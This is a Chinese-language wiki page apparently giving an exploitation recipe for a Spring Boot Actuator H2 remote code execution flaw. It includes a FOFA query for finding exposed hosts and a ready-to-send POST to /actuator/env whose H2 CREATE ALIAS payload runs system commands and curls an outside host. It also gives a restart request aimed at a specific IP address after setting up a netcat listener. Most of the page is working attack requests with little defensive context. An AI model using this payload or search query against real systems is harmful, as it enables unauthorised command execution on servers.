View source for Spring Boot Actuator H2 RCE漏洞

<languages />
<translate>
==漏洞影響== <!--T:1-->
</translate>
<pre>
Spring Boot < 1.5
Spring Boot >= 1.5
</pre>

==FOFA==
<pre>
body="Whitelabel Error Page"
</pre>

<translate>
==漏洞利用== <!--T:2-->
</translate>
<translate>
<!--T:3-->
訪問以下URL：
</translate>
<pre>
http://x.x.x.x:port/actuator
</pre>
<translate>
<!--T:4-->
發送如下POST包配置spring.datasource.hikari.connection-test-query的值。
</translate>
<pre>
POST /actuator/env HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Type: application/json
Content-Length: 389
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl x.x.x.x:port');"}
</pre>

<translate>
<!--T:5-->
NC監聽，向端點 /actuator/restart 發送POST請求, 重啟應用。
</translate>
<pre>
POST /actuator/restart HTTP/1.1
Host: 39.105.93.185:8080
Content-Type: application/json
Content-Length: 356
{}
</pre>